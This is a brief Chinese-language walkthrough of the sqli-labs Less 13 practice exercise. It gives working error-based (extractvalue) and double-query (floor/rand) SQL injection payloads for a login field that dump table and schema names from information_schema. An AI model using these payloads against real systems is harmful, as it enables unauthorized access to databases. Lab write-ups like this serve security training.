进行语句注入点试探,发现是**(’ ‘)闭合语句 (图片上面写错了)。
在进行列数判断时发现列数为两列,但是语句为 ') union select 1,2 --+ 时发现在语句没有错误时并没有输出任何内容,但是在语法有错误时会报错,所以可以使用报错注入和双注入**进行测试。
报错注入:
uname=11’) union select 1,extractvalue (1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) --+
通过更改limit 函数的第一个参数来查询更多的内容。
双注入:
uname=11’) union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),(select schema_name from information_schema.schemata limit 0,1)) --+
这个语句有50%几率报错,如果没报错则多发送几次即可。。
sqli labs less 13
最新推荐文章于 2024-04-29 20:40:16 发布